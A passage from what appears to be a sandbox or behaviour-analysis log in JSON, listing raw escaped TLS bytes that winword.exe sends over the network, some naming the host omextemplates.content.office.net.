  556. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\t\\xd5l\\xfa\\x18\\xf0j\\xcb:d\\xa1z\\xe1\\x15w\\xb4t\\xc8\\x07\\xec%\\xf0)\\xb6p\\xbe\\xb8\\x18\\xe0\\x11f\\xc9\\xf6\\xb5\\xfe\\xf7\\xf4\\xbc\\xc1q\\xcc\\xc7\\x8f\\x01\\xab\\xf4#i.x\\xd3\\xf1\\xc5\\xd7|\\xd4\\xda5\\xd18\\xa42g\\x92`\\x11\\x11\\xd7\\xc6\\xef\\x885\\x9f\\xee\\xb3\\xa9i\\xdb\\\\xb7\\x06\\xb1l|\\xde\\xaf9\\xb4\\x84d\\xc9}\\xc7o\\x97\\x16\\x15y\\x80\\x13\\xc6\\xb6q\\x15\\x15\\xa1+\\x05_\\xe4\\xeb\\x8e\\x86\\xb5\\xb7\\x9b^c\\xb4t\\xe5@u~\\\\xb7\\xba\\xc8\\x94z]t\\xde\\x076\\x83\\x85\\xba0a\\xc1\\xd0z\\xbd\\xfd\\xea\\xb3\\xe9\\x1a-!\\xa9@$\\xee\\x89\\xbd\nf\\xe8\\x995\\x9c:#\\\\x0e\\xdf\\xadt9z\\x8cg\\xd21^\\xb6\\xf8j\\x95r\\xf1%wtd\\x9e,\\x9cy\\x05\\x88\\xf1\\x97x\\xa4\\xd4p@\\x9b\\x1e\\x19\\xde7\\xddpt\\xc2y4\\x15\"\\xa2>\\xb38\\xd0\\xfa\\xc7\\xe4yw\\x9d4\\xae\\x93\\xd3n\\x1c\r \\x14s\\x8akr\\xb0!\\x8dl\\xac\\xdb\\x11\\x8b\\xb3\\xecy\\\\x0b"
  557. },
  558. {
  559. "http_request": "winword.exe_WSASend_\\xc4\\x00/\\x00\\x10\\xa5\\x8f\\x0e\\xae\\x9e\\x06\\xd0\\x91!\\xfdgu\\xca\\xfcp\\xe4\\x118\\x96\\x99y8~\\y\\xce~5\\xed\\x9e\\xe73\\x069\\x1e\\xdd\\xa3\\xd2;\\xc5o\\xa4\\xf0\\xea\\x86(\\xe8\\xd9v\\x8d:\\x02\\xdf\\xd3\\xdb\\x07\\xbc\\x9f\\x1b\\xdc\\xef!\\xc8\\xf3\\xd6\\xf1\\xe9\\xaa\\x02\\x0c\\xa8\\xa6\\x83l\\xe0\\x97\\x81&6\\xb9\\xc2\\xca\\xe3\\x00\\x1ap%~\\xb5\\xe3\\x88\\xc4i\\x86tq\\xe3w\\x12\\x0bm\\xae=)\\xb2\\xdeb\\x9d\\x13l\\xf5\\xa7\\xbb5k\\x08\\x8f~\\xb8\\xe2\\x00\\xbd\\x81\\x1e&5\\xd9\\x8d\\xe3n\\xa2l\\xe7\\xbf{\\xf8o\\xd5\\xed\n\\x14d\\xaa3\\xd0\\\\xe2q)\\x1dt\\x0f\\x96\\xdb\\x8f\\x19\\x01\\xe5\\x8a\\x8b\\x9c\\xe7k\\xc5\\x96\\xe6\\x1b\\x92\\xe5\\x0c\\x88\\x15\\xcc\\xdb\\xea\\x1f\\xe8\\xbcz\\x8f\\xeb\\xca\\x8b\\xa1s\\xbdje\\xc1\\x1e\\x1ak}\\x88\\xc2\\xa4\\x10\\x8b\\xbe\\x81s\\x8fw\rq\\xee_\\x92\\xbe\\xf1\\xd4\\xb6y\\xdbr\\xbb\\xd3\r\\xfa\\x98~\\x19\\x14\\x84\\xa0u,\\x91\\xbd\\x86,i\\xaa\\x15i\\x9bf\\x83\\xcawlbc\\x0c\\xb2\\x83\\x94\\xd0\\x9c\\xa7\\x0f"
  560. },
  561. {
  562. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04$\\xcay\\x7f\\x18\\xd3>\\xb5f\\x92\\xe9\\x9d\\xa7}\\xf1\\xa1\\x9dz\\x03]f\\xedb\\xa8a\\xd6\\xf7\"\\x8a\\xd7\\xbeb\r`\\xe4\\x9c\\xeamc\\x89\\xbf^?\\xc6\\xd4;\\xa3\\\\xeb\\xads\\x16\nz\\;8\\x97\\xcb\\xd0\\xb7\\xe3s\\xe1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0003\\x85\\xf2!aw\\x88\\xcag\\x899218\\x19\\xa9\\xaf\\xe1\\xf7{8\\xda\n\\x9d~\\xediy\\xa7\\x89z\\xa4\\xdf\\x8a\\x0f\\xc5\\x8c\\xb9\\x98\\x8f\\x16\\xff7=+bq1"
  563. },
  564. {
  565. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc0\\xdbl\\xae\\x17\\xb3\\xd1\\xbbj \\xa4#+\\x94\\xd2jx%\\xf4\\x84w*\\x99\\x8b/^\\x9ef\\x111\\xa7%\"a\\x84\\x88\\x08\\x8c\\x88x \\xac8\\x1d\\x85\\xf0\\xc4\\xb6\\x0enj\\xd3y\\x8e\\x8bu.l\\x94\\xfd]\\xfd\\xf2/\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000v\\x8d+\\x07m\\xc8\\xe9l:\\x14\\x16t\\x08\\x04\\\\xe0\\xcf\r]\\xc5\\xf5l\\xd0:\\x16\\xf8\\x1b_\\xa3\\x7f\\x9b\\x90\\xc9\\x91\\xd8h\\x0e:\\x9e4!;\\xa7'v5g4"
  566. },
  567. {
  568. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc4\\xe4sq\\xdd\\x05\\x90\\x06\\x17\\xcans\\x19\\x9a~zx$b\\x9d\\x06\\xd6u\\xa2\\x10\\xc9\\xc7\\xf6 \\x8d\\xf0g\\xb1\\xc1'@\\x000\\xd1l*$\\xdc\\xe5xfsq|\\x8a\\xe5\\x01f\\xe4\\x8f\\xedj\\x9a\\xdf\\xf45\\xc98\\x95zz\\xf2\\xd4\\xc7y\\x04\\xa3\\xe1\\x17\\x88\\xe2\\xa6\\xc9'yn\\xd4\\xab\\xa6\\x9c\\xd9\\xdbr\\xd9\\x9d\\x85\\xc6\\xc4\n{q\\xba\\xde\\xc7\\x81\\x01sc\\x8d[\\x14\\x97\\x9a\\xb7\\x80r\\x8e\\x9bqo\\xad\\xe4k\r4\\xba\\x90$\\xbdz;\\xcb2%7\\x87\\xf53\\x89\\x98\\xb1mq*]c\\xdf0!s\\x1b\\xc3\\xf3\\x01n'1a\\x82\\xca\\xa8\\xae+\\xdf\\x02v\\x19\\xd2u\\xe0\\x0e\\xda2\\xbcqx[u\\xf8i{\\xed!\\xa0\\x9c`\\x87l\\xa1\\xff\\x95\\xd5\\x11ng/g\\x11\\xed\\xf4\\xe1]=\\x92\\x90\\xbbl\\xb5\\xfb\\xb9\\xc7='\\xa9\\x15\\xb3\\xb7\\x0f\\x80:\\xa3\r'n\\x83\\x93\\x06\\x8d\\xa1\\xf4\\xa7\\x8c\\xe5*\\xdb\\xc6\\xde\\xf0\\x82b,\\x12?f\\x80\\x86+h\\x97\\x00q#\\xc7\\x18\\x87\\x93"
  569. },
  570. {
  571. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbcjr\\xeail\\xf8\\xb3\\xb6\\xd2\\x88\\xd8,\\xac8\\x05\\xc1}\\x14@\\xd1\\x93\\x89\\xab\\x12/d\\xf3;\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  572. },
  573. {
  574. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xeac.-\\xbd\\x18\\x0c\\xbc&\\x90.\\xbe\\x05\\xafb\\x8bq\\x00\\xf5-\\xb6p\\xfb\\x08$\\x84\\xa2'\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  575. },
  576. {
  577. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xb2#d\\xfb\\xf7f\\x822\\x93^\\x8a\\xd9\\xc0\\xb0_0\\xc9\\x9c\\xa4\\x992*s\\xd1\\xe6\\x16\\x82h\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  578. },
  579. {
  580. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc.\\xe9\\xea\\x07'\\xfc\\x96\\xb0h\\xder\\x01\\xe8\\x9bp@q9\\x94o<o\\xf5\\xaa\\xde\\x96*\\x05\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  581. },
  582. {
  583. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xe9\\x1f\\xe0\\xd1\\x97\\x9ds,f\\xc7a\\xfe\\xc8\\xea\\x93\\x98<x\\xde\\xc9\\xc8\\x13\\xa4\\xc9\\xc3\\x9a\\x8d,\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  584. },
  585. {
  586. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbci\\x85\\x1be\\xfd\\x8f\\x96\\x14o/\\xc5\\xbcx\\x03u\\xbd\\x97~)%@7\\xfc\\xb8p\\x8cy\\xe6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  587. },
  588. {
  589. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xaa\\xb8dz\\x07\\x0b\\xef\\x98\\xce\\xc0\\xec\\x9d\\xd5\\x99\\xa0}\\xd9\\xd4n\\xe2e\\x96\\xf9k\\xben\\x98\\xf4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  590. },
  591. {
  592. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010p\\x1d\\x16\\xcd6\\xf4\\x9bq\\xb2(so*\\x81<\\xd0\\x97\\xb1\r\\x9f_9\\xfc\\xe5\\xea\\xfc \\x9a7\\x9d\\x94\\x16h\\xbbf]\\x02\\x99ey\\x80/w\\x97cpw\\x1fs\\x94\"\\xe8a\\xb5\\x86^\\x9f\rzd\\x1a\\x1943c\\xc5\\xe3\\xc9q@[40\\xab,9\\xf43a\\xdf\\xf1\\xe9\\x91\\xfbt\\x9a\\x13j\\xb7<\\xa5\\xcef\\x9d\\xe5=lb\\x85t8'\\x83@\\xf6\\xe9g`\\xb2\\xc7\\x11\\x16\\x9a\\x13>\\x995d\\x15f(6\\x01\\xdc\\xfdujy\\xe8p\\x95\\xc2\\x8f\\xf2\\xa8r@l\\xf1r\\x07\\xf5\\x12\\xd0}e\\xaff_\\xef=\\xa4\r\tt)\\xf0\\xe3v\\xde\n\\xe7sa\\xe5\\xe5\\xaf\\xa00\\xa9\\xa3\\x8f\\xfe\\xf8n\\x15\\xb7\\x1c\\x98\\x9a\\x16m\\xd3m!lw\\x89.u=\\xab\\xbb\\xb7\\xcf\\xb2\t\\x90ki\\x92\\x81\\x16\\xd6\\x83\\xa6 \\x9e\\xa7\\xb0h?\\xa6~\\xcfr=\\xf5\\xf3\\xc0y9\\x93\\xfdc=\\xcfu\\xa7x\\x13\\x16\\x8a\\xe7\\x0f,\\xb8d\\xacy\\x95\\x0c\\xf4\\x95\\xf5\\xc8g\\xe1\\x94]t"
  593. },
  594. {
  595. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010&f\\x89o\\x06\\x11x\\xb0\\xcb\\xb4ec\\x05\\xcf\\x1e\\x9fu\\x89\\x1fj\\xa64\\xf7\\xb8l\\xe8i?\\xfc*\\xf2\\x1a\\xc3\\x0e\\xfe\\xdfqm\\xf2\\xbb\\x19\\xaf\\xd9\\x08\\x1b)\\x9cps\\xb3\\xddwvv\\x9els<\\xaf}\\xe5\\x17\\x1c\\x1b\\xc6\\x03{w-9)\\xbf\\x13?\\x90\\xe6\\xaf\\x1b\\x8e\\xd3\\xd3q.\\xcd+\\x84jbx\\x92\\x17]\\x83.\\xb3\\xad\\xd9.\\xe9yf\\x9548+\\xef\\xf8\\xc5\\xec\\x87[\\x9c\\xe0l\tr\\xb7\\xd2\\xa1p}\\xefut\\xf5\\xc6\\xa9\\x9e\\xc2\\xe0\\xdd\\xba6\\x93[c%\\x7f^qc\\xec\\x87\\xe1&\\xbd\\xe6)\\xfacp\\x1f\\x8b\\x92\\x810\\x8b\\x88\\xa5j\\xa3\\xe3\\xab:h4\\xbe7\\xee\\x07\\x80\\xfc8zm\\xb1\\xad\\xac\\x13\\x918\\x87\\xdc\\xd1\\xb1\\xef\\xa2{\\xc8\\xf6\\x18\\xa2\\x1f\\xce\\xa1\\xe3\\x01\\xaa=\\xf7\\xb2\\xb7\\xa2\\x8f\\xf7\\xec\\xben\\xb3\\xce\\xa7^\\xdbl\\xa3=k\\xfb\\xc4\\xf4\\x02\\x9c\\xe4\\xbeq\\xac\\xa3\\x9f\\x84:\\xb1\\xae\\xd17o3?\\xdai\\x12\\xb8\\xa4\\xb9\\xa9x(\toh\\xdav"
  596. },
  597. {
  598. "http_request": "winword.exe_WSASend_\\xda\\x04\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdab\\x93\tk\\xcd\\xc3%r\\xa1\\xd2\\x86i\\x1fb\\xd7\\x94\\x14%\\x87\\xa3\\xb1\\xb1g\\x0ez\\xa5f\\x13y\\xcd5\\x07\\x18t\\xa3\\xdd\\xff\\x0f=i\\xdf\\x96<d\\x1a>j\\xb19r\\x08m\\xf5\\x10\\xb3\\xfd\\xca\\x9f\\xfb\t@\\x83\\x11\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\n\\xb0\\xf1g\\xa1n\\x0cd\\x13\\x80do#\\xd18\\x06po\\xd9_\\xf4\\xef\\xe9\\xe0/\\xf6\\x17\\x81e\\x88\\xd0\\x86buor\\xe7\\xf7\\xaa\\x97\\x04\\xcb\\xa5\\xaf\\xbb{\\xe5"
  599. },
  600. {
  601. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0f\n\\xc2\\xf98!\\xf0j\\x10\\xf6\\xb4\\xd9\\x9e\\x10\\xd1n\\xcc\\xafo\\xff\\x89\\x11w\\xa2\\x04\\xf5\\xe6mw\\x1cg\\xee\\x8d\\x05;h\\xd1\\x9be\\x13\\x84z\\x96\\x9f\\xad~\\xb4&y\\xccsge\\xf6r\\xbb\\x9d\\xb2\\xe6\\x14\\xfdl\t*\\x1e\\xc2\\xa4d=\\x83\\xf2br\\x08\\x87\\xa11r\n<4\\xc2\\xc3j\\x05\\xcf\\xd4\\xc4x\\x02\\x98n\\x18\\x08\\x05g\\xdf\\xd9\\xb3\\x92\\x19\\x06\\xd1\\x87\\x98\\x12\\x14\\xdf\\xa7e\\xd5jza&&p\\xb1e\\xd9\\x9cl\\xdd\\x98\\xc02\\xa1\\x1b\\x19\\x85#\\x83\\xdb\\x80\\xe4m5\\xfd\\xc3n\\xea\"#\\x02\\xd8\\xa2\\xaf.8\\xa8\\x89\\xa5\\xe5\\xbd.zh\\x1c\\x16d9\\x90\\x16f\\xa8\\xfa\\xcb\\x17\\xb8\\xfb\\xc0\\xeeo\\x98\\xfb\\xf6\\x97\\xe1\\x01\\x9emg\\xc0z\\x15\\xba\\xd3\\xdd\\xee\\xac-&\\xa6\\xa3\\xcd\\x11\\xdat \\xc8\\xb5\\x8c\\xd9\\xe4\\xefx\\x0e\\xa1\\xc2/\\x1b\\x90d\\xaa\\xdf\\x92\\xc5gi\\xf1\\xc6\\x1d\\xcf\n\\xb8mx\\x0eu\\x99\\xad\\xc7\\xb2nnxe\\x1b\\xcb|>\\xb2\\xcb\\x00\\xd5\\xd5m\\x13 \\xbe\\x10"
  602. },
  603. {
  604. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1by\\xa7;\\x1e\\xc3\\xb6*\\x04\\x16\\x9f`p\\xc8\\x84y\\x0c\\xf2y\\xc7\\x9b\\xdd\\x97m]\\x85\\xbd\\xad\\xc4\\x8a\\xd8r\\xe41iu\\xb7\\xf3\\xf0d\\xc5w\\x89\\xfc\\x84\\xe4\\xd6\\x17\\x08\\xd3p\\xd0yj\\x8f\\xc3\\xd8\\xd5\\xc4\\x98\\xd5\\x03\\xe4s|\\x91\\xb6b\\xd8m^\\\\x03~j\\x1b\\x03)%\\x84gv\\xc9\\xcew\\xf1\\x17\\x85mz\\xd4\n\\x8e\\x99.\\xdbx|\\xb6q\\x9b\\xd0\\x0f\\xd41=\\xbe\\xa7\\x8d\\xf2x\\xf6\\x19oy\\xddi\\x82g\\xbb\\xab}j\\x93\\x05\\xa0\\x9c\\xd0\\xa9\\x1a\t\\x1a\\x12\n\\xd8\\x86\\xfd\\xe8{\\xfbg\\xaf\\xa2\\x0c\\x18\\xe8\\xe6]\\xb1\\x87\\x11w\\x94\\xff\\xeey\\xd4k\\xa0\\x8a\\xb6<\\xbf\\x00\\xa2\\x8e\\x16\\x97\\xc2ek\\x90\\xc9\\xf7h\\xf36\\xb1q\\xc0\\xc1z\\x8f\\xab\\x16b\\x12\\xd3\\x80\\xc0\\x8d\\xd3<\\xa25lvx\\xf6{\\x04,,\\xed\\x13\\xaeq\\xa4\\xa0\\xb0e\\xb3gx\\xe6\\xbb$\\xe1\\xa1\\xbb\\xd4\\x8d\\xa7\\x15{-\\x18\\xf1\\x0b}\\x84?\\xac\\xba\\xb1\\x86`\\xe1\n)a\\x90\\xd5q\\xdf\\xfd\\x98cf\\x9cl"
  605. },
  606. {
  607. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x93\\xb3t\\x8dmv\\x81\\xe0\\x1de\\xd3\\x12\\x10\\xb1\\x12fn)\\xf1\\xdd\\x8b\\xf9\\x18!#\\x87\"\\xfd\r\\xd5`(]>5\\xd9\\x12\\xd7|\\x983\\x9b\\x93\\x81`\\x06v\\xea\\xb1`\\x10e\\xc5h\\x7f\\x0c\\xff_\\x04\\xc1\\xfd\\xe0\\x9a\\x93\\x1e\\x13\\x9c\\xbc(\\xd1\\xa7rfy\\xefb9\\xe5\\xcd\\xec\\xe5z\\x00m\\x19\\x9f \\xee\\xd9\\x0e<jt{\\xdep1\\xcd\\xf6\\xd4\\xf1\\xea\\x81\\xa1\\x83zw`\\x8f\\xc6#\\xbb\\xb4\\xe3\\xd9$\\xef\\x86\\xeb\\xd8s\\x88$\\x1a\\xa9\\xf5\\x05\\x85\\x14u\\x06\\xd4\\xca\\x8d\\xaf\\x1d-\\x05\\xc0\\xbe\\xbc\\xd2\\xcf\\x92\\xf2_m;\\xb4\\xfc\\x18\\xaa\\xde\\xe7k\\xbb\\xdf\\x0b\\x8f\\xa6\\x04\\xc6\\x8ct\\x15\\xe3\t\\x965-ihi\\x93\\x92\\x1d\\x08\\x8e*\\xa9\\xf4)ys2\\x0c\\x94\\xdc$`\\xc9$dq)\\xb3\\xe9\\x01\\xd2\\x9a\\xb0\\x96\\xc6l3u;\\xc7\\xeb\\x99\\x00y\\x1c\\xa8\\xef\\xea\\xaf\\xdc\\xe8a#\\xd4\\xbe\\x91\\xab\\x18r3\\x9f\\x8f\\xd2\\xdc2\\xde\\xde]\\xf5r\\x8b^w\\xb1\\xbe3\\xdaf\\x8f\\xf8\\xc9\\x84\\x0c"
  608. },
  609. {
  610. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x95\\x1a\\xd95\\x0cqy\\xbe6)\\xce\\xb2\\xbcy\\xc1\\xb3m\\xd3\\x0c\\xac\\xe7\\x15fm\\x15c\\x9d\\xec\\xcc\\xfbuv\\x1a\\xc8+)5\\xce\r\\xd2\\xe8\\x0f\\x95)\\xfc\\xd8\\xb6\\x92\\xfc\\xe8e\\x17\\xd0p\\xc1r\\xe6\\xcc\\xd2;jcp\\xb1\\xd4\\xb5e\\x86\\xeb/\\x94\\xe2\\xa6\\xd6}\\xefz\\x97\\xb1lj\\xbbb\\xdc\\xb0\\xe8\\xac\\x0b\\x15\\x98h\\xd3o \\x89\\x8a+s*t\\x922s8\\xa5\\x80\\xdcy-\\xe5w\\xda!\\xe5\",|\\xb1\\xcf\\xa9\\x18\\x9eu\\xaee\\xb32`\\x1a\\xc8\\xfd\\xa6\\x84\\xb8'(\\xef\\xcb\\x9c\\xb0\\xe8\\xe1?\\xd9\\xdd\\xcf\\xacj\\x19:8\\x05\\xe3\\xe9\\x90(\\x9c'\\xdc\\x1c\\xdc\\xb2\\xee+\\xbay\\xf6\\xffrg\\xe6\\xb1\\x07\\xeb\\x9c\\xe1\\xe0\\xee\\x05@\\xc4\\x0b\\xf4\\x814n\\xae\\\\xb5\\xd2\\xa5\\xb7jm}\\xa3\\x06\\xb6zmet\\xd9+#m\\x14\\xbc\\xc7iq\\x8c\\xcb\\xa9\\x9a\\xb5m\\x8f\\xc2\r\\x16l\\xbfe\\x8f\\x0b\\xaco\\x83hd\\x949\\x9b\\xb8~\\x14\"\\xd3\\xa5fu\r\\xefye\\xe7g\\x9a\\xb5\\x97"
  611. },
  612. {
  613. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u\\xa2\\xa4\\x91}\\xfa\\xec\\xb0\\x11=\\x1a\\xc2\\xd2\\xb9\\xdf\\x13\\xbb\\x01\\xcb\\xcaa\\x8ct\\xe1\\x14\\xc6\\xcbd\\x97v\\xdb\\xc4 \\xe3\\xe2\\xad\\xebh\\x89\\xd1\\x8c\\x14\\xe2\\xcbh\\xae\\xdc[{\\xd8u)*\\xd1\\xef`\\xc2\\xd5\\xcc\\xa5h?\\xe3\\xa5\\xc9\\xf3u\\x0c\\xdc\t\\xd7qa\\xdd8a\\xc4\\xbc\\x0f\\xd9\\xf8^\\xab\\xd2\\xc5\\x8dp\\xb2\\xac.\\x8e\\xe0e\\x17s|\\xa9\\xfa;\\xa6\\x1d\\x8e\\xea\\xc4\\xd1wjy\\xad5\\x8b\\xe9\\x93\\xabi\\xce\\xae\\xae\\xef\\xb9\\xfb&b\\x1c\\x1bt\\x141\\x89\\x0c\\xaa\\x05\\x00\\xa5\\xb73\\x0b\\xcc\\xab\\x04\\xc9\\xdd\nn\\xda\\xdez\\xeac\\xde\\xb8\\xe5}\\x98gu\\x99s\\x05\\x17~2\r\\x9d\\xc2\\x9dxeb^*i\\xa8\\xf6\\x82o\\xe0\\x87:uj^\\xe4<\\xe2\\x9b\\x16y\\x12/\\x19\\x96\\xf6\\x91}\\x1a\\xcc\\\\x15\\xe2m\\x86$u>`;:f\\xf1b\\xd3vnn3^\\xddn\\xcd\\xe0\\x90>\\x16\\xe8j\\x17\\x0c\\x12t\\x8b\\xba\\x8d\\xaf|\\x9b=\\x98\\x91\\xe8*\\x87\\x15\\\\xe5\\x12>\\xd0h\\x7f-"
  614. },
  615. {
  616. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\r\\x8013\\xdef\\xe2\\xba\\xc6\\x0c+\\xf6\\xcd\\x95\\xe5\\xf7m\\xc2\\x98\\xd0\\!\\x8cc\\xcd\\xdb\\x0c\\x9d\\xe1n\\xf38\\x08\\xf2\\x1a|_s\\x90\\xd6n}\\x9c\\xad\\x1bk\\xa1\\xcb\\x8c\\x06\\x93\\xe3\\xe3\\x0b\\xa50\\xe3\\xa5\\xe62\\xec\\xde\\xf9\\xc2\\x1d\\x9a\\xb7\\xc6\\xd1.\\xe16\\xd5cs\\x1f\\xdd\\x0b3\\xb6\\xda\\xb8m\\xbf\\xd7\"_\\x83%\\xc5\\x9f\"p\\x1ce\\xa5\\x81\\x8d\\x89z\\x13\\xe1p\\x8a0\\x86b?\\x8f\\xe9\\x1f\\x03\\x87^(9\\x95b\\xda<^9?p\\x9f3r\\xe81\\xf9\\x7f3-\\xb931\\x13p\\\\x8b\\xbciiz\\x87>\\xb1\\xe8j\\xea\\xddx\\x92)\\xeb\\xf2}\\xbd\t]\\xcd\\x87\\xe5\\xb6k\\xdc\\x91\\xb1;\\xebi\\x1e\\x95!\\x91\\x1d#\\xca\\x1f\\xad\\xec\\xaa+v\\xb0\\xa2q\\xa3\\xed\\xa8\\x8f\\xbc\\xfe3\\x11\\x87`\\x0f\\xa3sx\\xc4\\xeb\\x01\\xe21\\x87?$p\\x11\\x9f)[\\x01\\x94\\x7f\\xb2\\xa7z1\\xff0\\x89dq\\x83?\\xa8\\xa7\r\\x1d\\xef\r\\x85\\xfd\\xfc\\x84mh\\xd3\\xb08\\xd0\\xed\\xed\\xdf92ll"
  617. },
  618. {
  619. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf3\\xb5\\xb6\\xcf\\x8d\\x05\\xa6\\xc1\\x1a!\\x85\\xf3\\xc35 gm\\xac\\xd7\\xee\\x1ff\\x8cj\\xafsah\\xa5\\x06)\\xd2\\x7f\\x80n\\x10\\xfc\\xe6\\xa6+e\\xcb\\xaf\\x03\\xc5\\x9f\\x14\\x00l\\x8a\\x8a}\\xdb\\xf5y5\\xa8\\x9d\\xf4\\xf0ku\\xdb\\xbe\\x1d0p\\xeb\\xb0j\\x0f\\xcc\\xc2%c\\xacjx\\xc5\\xe3\\x9c\\xc3\\xe2\\x9e\\xadi\\x85s\\xcd\\x00uv\\x15\\xb3\\x18\\x9d\\xbbu\\xfby=\\xf5\\xf8\\xaezm\\xe8\\x87\\x1aw\\xd7o\\xed\\xb4b\\xd7\\xbe\\xce$m\\xb1\\x89\\xed\\xfd(n\\x1dw\\xdd(\\xec\\xb7\\xea\\xf9s\\x90e|\\xa2\\xc5k1\\xfa\\xf8\\xc4ed\\x0bwz5vs+\\x94\\xee\\xde\\xfb\r\\xf0\\xc5\\xbd\\xf5\\xd7\\xf4x\\x86\\x93~\\x8e\\xfd\\xabh\\x0b\\xef\\x8fs\\xed`r>\\xc0\\xe6\\xe1\\xdd\\xcci\\xbe9\\x0e\\x95d#'\\xbc\\xad\\x93\\xb7\\x85\\xd31\\xb0\\x0c)}\\xfd\\xe2r n\\xe5 \\x10\\xc6\\xd4\\xea\\\\xe4\\x91\\xa1\\x911(;fz7%\\xd6\\xee\\xc1\\x98m\\xeb\\xac\\xd0q\\xbb\\xc7[\\xa0\\x1f\\x04\\xea\\x8d\\\\x93k\\xd13\\x9a"
  620. },
  621. {
